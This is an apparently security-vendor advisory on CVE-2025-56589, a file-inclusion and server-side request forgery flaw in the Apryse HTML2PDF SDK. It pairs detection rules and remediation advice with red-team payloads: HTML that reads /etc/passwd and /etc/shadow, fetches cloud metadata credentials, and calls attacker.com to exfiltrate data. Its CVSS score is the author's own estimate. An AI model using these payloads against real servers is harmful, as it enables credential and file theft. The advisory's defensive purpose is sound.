CVE-2025-56589

Executive Summary

CVE-2025-56589 identifies a critical security flaw in the Apryse HTML2PDF SDK, affecting versions up to and including 11.6.0. The vulnerability resides in the InsertFromHtmlString() function, which is used to convert HTML content into PDF documents. This function fails to properly sanitize user-supplied HTML, allowing an attacker to inject malicious payloads that trigger both a Local File Inclusion (LFI) and a Server-Side Request Forgery (SSRF). The LFI component enables reading arbitrary files from the server’s filesystem, while the SSRF component allows making HTTP requests to internal or external services. Combined, these vulnerabilities can lead to sensitive data disclosure, lateral movement within the network, and potential full system compromise. No public proof-of-concept (PoC) or patch details are currently available, making this a high-priority unpatched threat.

Supply Chain & Package Security

This vulnerability affects the Apryse HTML2PDF SDK, a commercial library used for server-side PDF generation. Organizations integrating this SDK into their applications are at risk. Since the SDK is distributed as a binary or package, supply chain security is critical. Users should verify the integrity of their SDK downloads and monitor for official patches from Apryse. No open-source package (NPM, PyPI, Go, Ruby) is directly affected, but the SDK may be bundled in custom deployments.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for scoring. However, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Affects only the vulnerable component.
• Confidentiality (C): High (H) – LFI allows reading sensitive files.
• Integrity (I): High (H) – SSRF can modify internal state.
• Availability (A): High (H) – Potential for denial of service or system takeover.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 9.8 (Critical)

Threat Level: Critical – Unpatched, remote, no authentication required, and high impact.

Deep Dive & Mechanics

The InsertFromHtmlString() function in the Apryse HTML2PDF SDK processes HTML input to generate PDF documents. The vulnerability arises from insufficient input validation and sanitization of HTML elements, particularly those that reference external resources or files.

LFI Mechanism:
An attacker can inject HTML tags such as <iframe>, <object>, or <embed> with src attributes pointing to local file paths (e.g., file:///etc/passwd). The SDK, when rendering the HTML, attempts to load these resources, thereby reading local files and embedding their content into the generated PDF.

SSRF Mechanism:
Similarly, the attacker can use HTML tags that make HTTP requests, such as <img src="http://internal-service:8080/admin"> or <link href="http://attacker.com/exfil">. The SDK will fetch these URLs, allowing the attacker to probe internal networks, access cloud metadata endpoints, or exfiltrate data.

Root Cause:
The SDK does not implement a whitelist of allowed protocols or resources. It blindly processes all HTML elements, including those that trigger file reads or network requests. This is a classic case of improper input validation (CWE-98 for LFI and CWE-918 for SSRF).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the InsertFromHtmlString() function in Apryse HTML2PDF SDK <= 11.6.0. A patched version would need to:

• Sanitize HTML input to strip dangerous tags (e.g., <iframe>, <object>, <embed>, <img>, <link>, <script>).
• Implement a whitelist of allowed protocols (e.g., only https:// and http:// for external resources, and block file://).
• Use a sandboxed rendering engine that restricts network and filesystem access.

Example of vulnerable usage (C#):

PDFDoc doc = new PDFDoc();
doc.InsertFromHtmlString("<img src='file:///etc/passwd'>");
doc.Save("output.pdf", SDFDoc.SaveOptions.Linearized);

Expected patched behavior:
The SDK should either reject the HTML or strip the dangerous tag, preventing the file read.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Exploit LFI and SSRF to exfiltrate sensitive data.

Lab Setup:

• Target: A server running Apryse HTML2PDF SDK 11.6.0 with a web endpoint that accepts HTML input and generates PDFs.
• Attacker: Kali Linux with Burp Suite or curl.

Exploitation Steps:

1. LFI Exploit:
   Send a POST request with HTML containing a file read payload.

   POST /generate-pdf HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   html=<iframe src="file:///etc/passwd" width="800" height="600"></iframe>
   

   The generated PDF will contain the contents of /etc/passwd.

2. SSRF Exploit:
   Use an <img> tag to probe internal services.

   POST /generate-pdf HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   html=<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/admin" />
   

   The PDF will include the AWS metadata response if the server is on AWS.

3. Combined Attack:
   Chain LFI and SSRF to read a file and exfiltrate it via an attacker-controlled server.

   html=<iframe src="file:///etc/shadow"></iframe><img src="http://attacker.com/exfil?data=PLACEHOLDER" />
   

   Note: This requires the attacker to parse the PDF output.

Blue Team (Defender)

Detection:
Monitor for unusual HTML input patterns, especially those containing file://, http:// to internal IPs, or references to sensitive paths.

Hunting Queries:

• Splunk: Search for HTTP requests with file:// in the body.

  index=web sourcetype=access_combined uri_path="/generate-pdf" | search "file://"
  

• Wireshark: Filter for HTTP POST requests with file:// in the payload.

  tshark -Y "http.request.method == POST and http.file_data contains file://"
  

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block file:// and internal IPs in HTML input.
• Use input validation to strip dangerous HTML tags before passing to the SDK.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to internal IPs (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x) from the PDF generation server.
  • Requests to file:// URIs in HTTP POST bodies.
  • Unusual DNS queries for internal hostnames.

• File IOCs:

  • Generated PDF files containing contents of /etc/passwd, /etc/shadow, or other sensitive files.
  • PDFs with embedded iframes or objects referencing local files.

• Log IOCs:

  • Application logs showing errors from InsertFromHtmlString() when processing malicious HTML.
  • Web server logs with POST requests containing file:// or internal IPs.

Detection Engineering

YARA Rule

rule CVE_2025_56589_LFI_SSRF {
    meta:
        description = "Detects LFI/SSRF attempts against Apryse HTML2PDF SDK"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56589"
    strings:
        $lfi1 = "file://" ascii wide nocase
        $lfi2 = "file:/" ascii wide nocase
        $ssrf1 = "http://" ascii wide nocase
        $ssrf2 = "https://" ascii wide nocase
        $html_tag1 = "<iframe" ascii wide nocase
        $html_tag2 = "<object" ascii wide nocase
        $html_tag3 = "<embed" ascii wide nocase
        $html_tag4 = "<img" ascii wide nocase
        $html_tag5 = "<link" ascii wide nocase
    condition:
        any of ($html_tag*) and any of ($lfi*) or any of ($ssrf*)
}

Sigma Rule

title: CVE-2025-56589 - LFI/SSRF via Apryse HTML2PDF SDK
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests containing file:// or internal IPs in HTML input to Apryse HTML2PDF SDK.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/generate-pdf'
    keywords:
        - 'file://'
        - 'http://10.'
        - 'http://172.16.'
        - 'http://192.168.'
        - 'http://169.254.'
    condition: selection and keywords
falsepositives:
    - Legitimate use of file:// in HTML (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-56589 - LFI/SSRF via Apryse HTML2PDF SDK"; flow:to_server; content:"POST"; http_method; content:"/generate-pdf"; http_uri; content:"file://"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable function: If possible, avoid using InsertFromHtmlString() until a patch is available.
2. Input Sanitization: Implement strict input validation to strip dangerous HTML tags (e.g., <iframe>, <object>, <embed>, <img>, <link>, <script>) and block file:// protocol.
3. Network Segmentation: Restrict outbound network access from the PDF generation server to only necessary external services.
4. WAF Rules: Deploy WAF rules to block requests containing file:// or internal IPs in the HTML body.

Long-Term Fix:

• Monitor Apryse’s official channels for a patched version (e.g., > 11.6.0) and apply it immediately.
• Consider using an alternative PDF generation library that is actively maintained and has a strong security track record.

Workaround:

• Use a sandboxed environment (e.g., Docker container with no network access) to run the SDK, limiting the impact of SSRF.

Valters IT
Securing Digital Frontiers